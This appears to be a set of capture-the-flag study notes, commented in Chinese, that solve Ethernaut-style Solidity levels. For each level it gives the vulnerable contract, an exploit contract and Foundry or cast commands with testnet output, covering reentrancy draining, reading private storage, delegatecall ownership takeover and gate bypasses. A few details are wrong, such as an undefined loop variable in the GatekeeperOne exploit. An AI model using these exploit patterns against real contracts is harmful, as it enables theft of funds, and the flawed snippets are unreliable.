{tx: '0x62719934031a6ca365b6666f0e011ce0d28ee8ee5b93980bc7f480fdf6ea6ad5', receipt: {…}, logs: Array(0)}
/*
	tx → 交易哈希
	receipt → 交易回执
	logs → 合约事件
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
  
contract Instance {
    string public password;
    uint8 public infoNum = 42;
    string public theMethodName = "The method name is method7123949.";
    bool private cleared = false;
  
    // constructor
    constructor(string memory _password) {
        password = _password;
    }
  
    function info() public pure returns (string memory) {
        return "You will find what you need in info1().";
    }

    function info1() public pure returns (string memory) {
        return 'Try info2(), but with "hello" as a parameter.';
    }

    function info2(string memory param) public pure returns (string memory) {
        if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) {
            return "The property infoNum holds the number of the next info method to call.";
        }
        return "Wrong parameter.";
    }

    function info42() public pure returns (string memory) {
        return "theMethodName is the name of the next method.";
    }

    function method7123949() public pure returns (string memory) {
        return "If you know the password, submit it to authenticate().";
    }

    function authenticate(string memory passkey) public {
        if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
            cleared = true;
        }
    }

    function getCleared() public view returns (bool) {
        return cleared;
    }
}

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
contract Fallback {  
    mapping(address => uint256) public contributions;  
    address public owner;  
  
    constructor() {  
        owner = msg.sender;  
        contributions[msg.sender] = 1000 * (1 ether);  // 部署者贡献值设置为 1000 ether
    }  
  
    modifier onlyOwner() {  
        require(msg.sender == owner, "caller is not the owner");  
        _;  
    }  
  
    function contribute() public payable {  
        require(msg.value < 0.001 ether);  // 允许微量贡献（<0.001 ETH）
        contributions[msg.sender] += msg.value;  
        if (contributions[msg.sender] > contributions[owner]) {  // 如果你的 contributions 超过当前 owner 的贡献，就能成为新的 owner
            owner = msg.sender;  
        }  
    }  
  
    function getContribution() public view returns (uint256) {  
        return contributions[msg.sender];  
    }  
  
    function withdraw() public onlyOwner {  
        payable(owner).transfer(address(this).balance);  // 只有 owner 才能提取合约余额
    }  
  
    receive() external payable {  
        require(msg.value > 0 && contributions[msg.sender] > 0);  
        owner = msg.sender;  
    }  
}

receive() external payable {
    /*
	    触发条件：
		    1. 交易 data 为空（没有调用任何函数或附加数据）  
		    2. 交易中附带 ETH (msg.value > 0)
	    限制：
		    - 必须是 external 
		    - 必须加 payable（否则无法接收 ETH）  
	    用途：接收 ETH 转账
    */
}

fallback() external payable {
    /*
	    触发条件：
			1.	调用不存在的函数（函数签名不匹配 ABI）
			2.	或交易 data 不为空，但未匹配函数
			3.	可选择性接收 ETH（加 payable）
		限制：
			•	必须是 external
			•	如果想接收 ETH，必须加 payable
		用途：
			•	捕获未知函数调用
			•	接收 ETH
    */
}

receive() external payable {  
    require(msg.value > 0 && contributions[msg.sender] > 0);  
    owner = msg.sender;  
}  

// SPDX-License-Identifier: MIT  
pragma solidity ^0.6.0;  
  
import "openzeppelin-contracts-06/math/SafeMath.sol";  
  
contract Fallout {  
    using SafeMath for uint256;  
  
    mapping(address => uint256) allocations;  
    address payable public owner;  
  
    /* constructor */  
    function Fal1out() public payable {  // 非构造函数
        owner = msg.sender;  
        allocations[owner] = msg.value;  
    }  
  
    modifier onlyOwner() {  
        require(msg.sender == owner, "caller is not the owner");  
        _;  
    }  
  
    function allocate() public payable {  
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);  
    }  
  
    function sendAllocation(address payable allocator) public {  
        require(allocations[allocator] > 0);  
        allocator.transfer(allocations[allocator]);  
    }  
  
    function collectAllocations() public onlyOwner {  
        msg.sender.transfer(address(this).balance);  
    }  
  
    function allocatorBalance(address allocator) public view returns (uint256) {  
        return allocations[allocator];  
    }  
}

function Fal1out() public payable {  // 非构造函数
    owner = msg.sender;  
    allocations[owner] = msg.value;  
}   

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
contract CoinFlip {  
    uint256 public consecutiveWins;  // 连胜数
    uint256 lastHash;  
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  
  
    constructor() {  
        consecutiveWins = 0;  
    }  
  
    function flip(bool _guess) public returns (bool) {  
        uint256 blockValue = uint256(blockhash(block.number - 1));  // 计算上一个区块哈希
  
        if (lastHash == blockValue) {  // 区块相同则 revert()
            revert();  
        }  
  
        lastHash = blockValue;  // 记录区块
        uint256 coinFlip = blockValue / FACTOR;  // blockValue == FACTOR 才为正面（true）
        bool side = coinFlip == 1 ? true : false;  
  
        if (side == _guess) {  
            consecutiveWins++;  
            return true;  
        } else {  
            consecutiveWins = 0;  
            return false;  
        }  
    }  
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "./CoinFlip.sol";

contract CoinFlip_EXP {
    CoinFlip target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {  // 初始化关卡的实例地址
        target = CoinFlip(_target);
    }

    function guess() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = (coinFlip == 1);
        target.flip(side);
    }

    function getConsecutiveWins() public view returns(uint256) {  // 打印连胜数
        return target.consecutiveWins();
    }
}

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
contract Telephone {  
    address public owner;  
  
    constructor() {  
        owner = msg.sender;  
    }  
  
    function changeOwner(address _owner) public {  
        if (tx.origin != msg.sender) {  
            owner = _owner;  
        }  
    }  
}

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
interface ITelephone {  
    function changeOwner(address _owner) external;  
}  
  
contract Telephone_EXP {  
    address public target;  
  
    constructor(address _target) {  
        target = _target;  
    }  
  
    function attack() public {  
        ITelephone(target).changeOwner(tx.origin);  
    }  
}

// SPDX-License-Identifier: MIT  
pragma solidity ^0.6.0;  
  
contract Token {  
    mapping(address => uint256) balances;  
    uint256 public totalSupply;  
  
    constructor(uint256 _initialSupply) public {  
        balances[msg.sender] = totalSupply = _initialSupply;  
    }  
  
    function transfer(address _to, uint256 _value) public returns (bool) {  
        require(balances[msg.sender] - _value >= 0);  
        balances[msg.sender] -= _value;  
        balances[_to] += _value;  
        return true;  
    }  
  
    function balanceOf(address _owner) public view returns (uint256 balance) {  
        return balances[_owner];  
    }  
}

function transfer(address _to, uint256 _value) public returns (bool) {  
    require(balances[msg.sender] - _value >= 0);  
    balances[msg.sender] -= _value;  
    balances[_to] += _value;  
    return true;  
} 

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
contract Delegate {  
    address public owner;  
  
    constructor(address _owner) {  
        owner = _owner;  
    }  
  
    function pwn() public {  
        owner = msg.sender;  
    }  
}  
  
contract Delegation {  
    address public owner;  
    Delegate delegate;  
  
    constructor(address _delegateAddress) {  
        delegate = Delegate(_delegateAddress);  
        owner = msg.sender;  
    }  
  
    fallback() external {  
        (bool result,) = address(delegate).delegatecall(msg.data);  
        if (result) {  
            this;  
        }  
    }  
}

(bool success, bytes memory data) = target.call{value: 1 ether, gas: 5000}(
	abi.encodeWithSignature("foo(uint256)", 123)
);

(bool success, bytes memory data) = target.delegatecall(
    abi.encodeWithSignature("foo(uint256)", 123)
);

(bool success, bytes memory data) = target.staticcall(
	abi.encodeWithSignature("getValue()")
);

contract Delegate {  
    address public owner; // slot 0  
    function pwn() public { owner = msg.sender; }  
}  

contract Delegation {  
    address public owner;    // slot 0
    Delegate delegate;       // slot 1  
    fallback() external { delegate.delegatecall(msg.data); }  
}

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
contract Force { /*  
				   MEOW ?         
		  /\_/\  / 
	 ____/ o o \    
   /~____  =ø= /  
  (______)__m_m)                   
				*/ }

selfdestruct(address payable recipient);

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
contract Fore_EXP {  
    constructor() payable {}  
  
    function boom(address payable target) external {  
        selfdestruct(target);  
    }  
}

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
contract Vault {  
    bool public locked;  
    bytes32 private password;  
  
    constructor(bytes32 _password) {  
        locked = true;  
        password = _password;  
    }  
  
    function unlock(bytes32 _password) public {  
        if (password == _password) {  
            locked = false;  
        }  
    }  
}

contract Vault {  
    bool public locked;  // slot 0
    bytes32 private password;  // slot 1 - 确定 slotIndex
    ...
}

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
contract King {  
    address king;  
    uint256 public prize;  
    address public owner;  
  
    constructor() payable {  
        owner = msg.sender;  
        king = msg.sender;  
        prize = msg.value;  
    }  
  
    receive() external payable {  
        require(msg.value >= prize || msg.sender == owner);  
        payable(king).transfer(msg.value);  
        king = msg.sender;  
        prize = msg.value;  
    }  
  
    function _king() public view returns (address) {  
        return king;  
    }  
}

receive() external payable {  
    require(msg.value >= prize || msg.sender == owner);  
    payable(king).transfer(msg.value);  // 转给旧王
    king = msg.sender;  
    prize = msg.value;  
}  

// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;  
  
contract King_EXP {  
    constructor(address kingAddr) payable {  
        (bool sent, ) = kingAddr.call{value: msg.value}("");  
        require(sent, "fail");  
    }  
  
    // receive() external payable {  
    //     revert("kneel");    
    // }
}

uint256 heavy = 1;
receive() external payable {
	heavy = 1;  // SSTORE(Storage Store)：从 0 -> 非0，耗费 gas（大于2300）
}

// SPDX-License-Identifier: MIT  
pragma solidity ^0.6.12;  
  
import "openzeppelin-contracts-06/math/SafeMath.sol";  
  
contract Reentrance {  
    using SafeMath for uint256;  
  
    mapping(address => uint256) public balances;  
  
    function donate(address _to) public payable {  
        balances[_to] = balances[_to].add(msg.value);  
    }  
  
    function balanceOf(address _who) public view returns (uint256 balance) {  
        return balances[_who];  
    }  
  
    function withdraw(uint256 _amount) public {  
        if (balances[msg.sender] >= _amount) {  
            (bool result,) = msg.sender.call{value: _amount}("");  
            if (result) {  
                _amount;  
            }  
            balances[msg.sender] -= _amount;  
        }  
    }  
  
    receive() external payable {}  
}

// 易受重入的伪代码示例
function withdraw(uint256 amount) public {
    require(balances[msg.sender] >= amount);
    // 1) 外部交互：直接发送以太
    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok);
    // 2) 状态更新：余额才减少 —— 顺序错误！
    balances[msg.sender] -= amount;
}

function withdraw(uint256 _amount) public {  
    if (balances[msg.sender] >= _amount) { 
     // 外部调用在前
        (bool result,) = msg.sender.call{value: _amount}("");
        if (result) {  
            _amount;  
        }  
        // 状态更新在后
        balances[msg.sender] -= _amount;  
    }  
}  

// script/Deploy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint256 _amount) external;
    function balanceOf(address _who) external view returns (uint256);
}

contract Reentrancy_exp {
    IReentrance public target;
    address public owner;

    constructor(address payable _target) public {
        target = IReentrance(_target);
        owner = msg.sender;
    }

    function attack() external payable {
        target.donate{value: msg.value}(address(this));
        target.withdraw(msg.value);
    }

    receive() external payable {
        uint256 targetBalance = address(target).balance;
        if (targetBalance > 0) {
            uint256 withdrawAmount = msg.value < targetBalance ? msg.value : targetBalance;
            target.withdraw(withdrawAmount);
        }
    }

    function collect() external {
        require(msg.sender == owner);
        payable(owner).transfer(address(this).balance);
    }
}

// script/Deploy.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;

import "forge-std/Script.sol";
import "src/Reentrancy_exp.sol";

contract deployReentrancy_exp is Script {
    function run() external {
        address targetAddr = 0xBB849Fd3390dB7F13065d32eE3B205cf3dA47cB5;
        uint256 donateValue = 0.01 ether;
        
        uint256 deployerKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployerKey);

        Reentrancy_exp exp = new Reentrancy_exp(payable(targetAddr));
        exp.attack{value: donateValue}();
        exp.collect();
        
        console.log("Target Balance:", address(targetAddr).balance);

        vm.stopBroadcast();
    }
}

% forge script script/Deploy.sol:deployReentrancy_exp --fork-url $SEPOLIA_RPC_URL

== Logs ==
  Contract Address:  0x75994237012406E6D1722Aae29F553E0ACaFCC17
  attack called with: 10000000000000000
  collect called
  Target Balance: 0

...

% forge script script/Deploy.sol:deployReentrancy_exp --rpc-url $SEPOLIA_RPC_URL

...

##### sepolia
✅  [Success] Hash: 0x5c6a049978bb6ab73e713ed4301ff9f0f4b640eea8df11fa85d33572bb7ce0a3
Contract Address: 0x75994237012406E6D1722Aae29F553E0ACaFCC17
Block: 9352677
Paid: 0.000000338450445746 ETH (338443 gas * 0.001000022 gwei)


##### sepolia
✅  [Success] Hash: 0xe706ba32d08f8f11f66d0c17e9687903e50bbcd7c8a690fb65ed35c6cde2943b
Block: 9352677
Paid: 0.000000072317590952 ETH (72316 gas * 0.001000022 gwei)


##### sepolia
✅  [Success] Hash: 0x50ffb13170faa1bbad8ab161ddb07db5425123a8ecf9d12cda522528c4961561
Block: 9352677
Paid: 0.000000030464670208 ETH (30464 gas * 0.001000022 gwei)

✅ Sequence #1 on sepolia | Total Paid: 0.000000441232706906 ETH (441223 gas * avg 0.001000022 gwei)

...

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);
        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

interface ExternalContract {
    function functionName(Args) external returns (Args);
}

Contract AttackContract {
	function functionName(Args) external returns (Args) {
		// Customization
	}
}

function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {  // 第一次调用，返回值取反作为判断条件
        floor = _floor;
        top = building.isLastFloor(floor);  // 第二次调用，返回值赋值给 top
    }
}

// src/BuildingExp.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
    function goTo(uint256 _floor) external;
}

contract BuildingExp {
    bool public toggle = true;
    IElevator public target;

    constructor(address _target) {
        target = IElevator(_target);
    }

    function attack(uint256 _floor) external {
        target.goTo(_floor);
    }

    function isLastFloor(uint256) external returns (bool) {
        toggle = !toggle;
        return toggle;
    }
}

// script/BuildingExp.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "src/BuildingExp.sol";

contract BuildingExpScript is Script {
    function run() external {
        address targetAddr = 0xf7eD8D27A9169C2272150F119c4d558029301317;
        
        uint256 deployKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployKey);

        BuildingExp exp = new BuildingExp(targetAddr);
        exp.attack(0);

        vm.stopBroadcast();
    }
}

 % forge script script/BuildingExp.s.sol:BuildingExpScript --fork-url $SEPOLIA_RPC_URL -vvvv  

Simulated On-chain Traces:

  [200460] → new BuildingExp@0xb30D4E03c545D21f0cB856725d201cEbd1880b9C
    └─ ← [Return] 887 bytes of code

  [16174] BuildingExp::attack(0)
    ├─ [10566] 0xf7eD8D27A9169C2272150F119c4d558029301317::goTo(0)
    │   ├─ [3947] BuildingExp::isLastFloor(0)
    │   │   └─ ← [Return] false  // 第一次调用 false
    │   ├─ [1147] BuildingExp::isLastFloor(0)
    │   │   └─ ← [Return] true  // 第二次调用 true
    │   └─ ← [Stop]
    └─ ← [Stop]

...

% forge script script/BuildingExp.s.sol:BuildingExpScript --rpc-url $SEPOLIA_RPC_URL --broadcast -vvvv 

##### sepolia
✅  [Success] Hash: 0xfc1c77a7f87440f3461184b78637c1e3bfe5ced2fde89087c173ce3c3c70a626
Block: 9354583
Paid: 0.000000031382725955 ETH (31381 gas * 0.001000055 gwei)


##### sepolia
✅  [Success] Hash: 0x392941f71f91e4c3e55ddb4ac3048f0538bd4c4f298364b2829b0af1aaf01a7c
Contract Address: 0x89AF74f8d98Aa6371fB25377c108f9018D8fBf1f
Block: 9354583
Paid: 0.000000271291920235 ETH (271277 gas * 0.001000055 gwei)

✅ Sequence #1 on sepolia | Total Paid: 0.00000030267464619 ETH (302658 gas * avg 0.001000055 gwei)

% cast call 0xf7eD8D27A9169C2272150F119c4d558029301317 "top()(bool)" --rpc-url $SEPOLIA_RPC_URL
true

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
    */
}

bool public locked = true;                // slot 0x0, 最低位（LSB）
uint256 public ID = block.timestamp;      // slot 0x1, 整个 slot（32 bytes）
uint8 private flattening = 10;            // slot 0x2, byte offset 0 (LSB)
uint8 private denomination = 255;         // slot 0x2, byte offset 1
uint16 private awkwardness = uint16(...); // slot 0x2, byte offsets 2-3
bytes32[3] private data;                  // slot 0x3、0x4、0x5: data[0], data[1], data[2]

% cast storage 0x2ef950B55837E5785A8f50704F880A8E3A3D7dE7 0x5 --rpc-url $SEPOLIA_RPC_URL 
0x72422ce075e398ab445b266af50702b55a5f631507a6c774cf93f90fd545f9d1

% cast send 0x2ef950B55837E5785A8f50704F880A8E3A3D7dE7 "unlock(bytes16)" 0x72422ce075e398ab445b266af50702b5 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY 

blockHash            0xcb1a4ac78fd7817028d1ec6aa12018e30d632b9909de95499831d0cc8eb21c68
blockNumber          9355093
contractAddress      
cumulativeGasUsed    10594029
effectiveGasPrice    1000031
from                 0xFa1490340AAA139B8402d13c9f54e6738EF22bC3
gasUsed              24025
logs                 []
logsBloom            0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root                 
status               1 (success)
transactionHash      0xaf2f0d17853a3e03fb199c46339cd83c845bcf702ff6fb0f13664a0ea6f15d54
transactionIndex     70
type                 2
blobGasPrice         
blobGasUsed          
to                   0x2ef950B55837E5785A8f50704F880A8E3A3D7dE7

% cast call 0x2ef950B55837E5785A8f50704F880A8E3A3D7dE7 "locked()" --rpc-url $SEPOLIA_RPC_URL
0x0000000000000000000000000000000000000000000000000000000000000000

await contract.unlock((await web3.eth.getStorageAt(contract.address,5)).slice(0,34))

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

function gasleft() returns (uint256)

key =  bytes8((uint64(1) << 32) | uint64(uint16(uint160(tx.origin))));

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";

interface IGatekeeperOne {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneExp {
    IGatekeeperOne public target;

    constructor(address _target) {
        target = IGatekeeperOne(_target);
    }
    
	function attack() public {
        bytes8 key = bytes8((uint64(1) << 32) | uint64(uint16(uint160(tx.origin))));
        for (uint256 i = 0; i < 8191; i++){
            uint256 amountGas = 8191 * 2 + j;
            (bool ok, ) = address(target).call{gas: amountGas}(abi.encodeWithSelector(IGatekeeperOne.enter.selector, key));
            if (ok) {
                console.log(amountGas);
                return;    
            }
        }
    }
}

% forge script src/GatekeeperOneExp.s.sol:GatekeeperOneExpScript --fork-url $SEPOLIA_RPC_URL -vvvv

...

    ├─ [338] GatekeeperOne::enter(0x0000000100002bc3)
    │   └─ ← [Revert] EvmError: Revert
    ├─ [2763] GatekeeperOne::enter(0x0000000100002bc3)
    │   └─ ← [Return] true
    ├─ [0] console::log(8447) [staticcall]
    │   └─ ← [Stop]
    └─ ← [Stop]

...

function attack() public {
	bytes8 key = bytes8((uint64(1) << 32) | uint64(uint16(uint160(tx.origin))));
	uint256 amountGas = 8447;
	(bool ok, ) = address(target).call{gas: amountGas}(abi.encodeWithSelector(IGatekeeperOne.enter.selector, key));
	}

forge script src/GatekeeperOneExp.s.sol:GatekeeperOneExpScript --rpc-url $SEPOLIA_RPC_URL --broadcast -vvvv

 % cast call 0xa18B1087E573ce53955FF8fbcF556b0bF69B4754 "entrant" --rpc-url $SEPOLIA_RPC_URL  
0xFa1490340AAA139B8402d13c9f54e6738EF22bC3

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

assembly {
    // EVM 风格的操作
    let x := add(1, 2)   // x = 3
    sstore(0x0, x)       // 存 storage slot 0
}

address a;
assembly { a := caller() }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperTwo {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoExp {
    constructor(address _target) {
        uint64 gateKey = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
        IGatekeeperTwo(_target).enter(bytes8(~gateKey));
    }
}